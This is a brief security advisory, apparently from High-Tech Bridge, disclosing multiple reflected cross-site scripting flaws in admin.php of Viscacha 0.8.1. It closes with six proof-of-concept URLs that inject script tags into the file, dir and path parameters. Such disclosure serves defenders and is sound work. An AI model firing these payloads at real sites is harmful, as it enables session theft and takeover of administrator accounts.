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HTB22919: Multiple XSS in Viscacha



Vulnerability ID: HTB22919
Reference: http://www.htbridge.ch/advisory/multiple_xss_in_viscacha.html
Product: Viscacha
Vendor: MaMo Net ( http://www.viscacha.org ) 
Vulnerable Version: 0.8.1
Vendor Notification: 24 March 2011 
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "admin.php" script to properly sanitize user-supplied input.
User can execute arbitrary JavaScript code within the vulnerable application.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

[code]
http://[host]/admin.php?action=designs&job=templates_file_history&file=<script>alert("XSS");</script>
http://[host]/admin.php?action=designs&job=templates_file_revert&dir=";<script>alert("XSS");</script>
http://[host]/admin.php?action=designs&job=templates_file_edit2&dir=";<script>alert("XSS");</script>
http://[host]/admin.php?action=designs&job=templates_file_delete&dir=";<script>alert("XSS");</script>
http://[host]/admin.php?action=explorer&job=newdir&path=";<script>alert("XSS");</script>
http://[host]//admin.php?action=explorer&job=chmod&path=";<script>alert("XSS");</script>
[/code]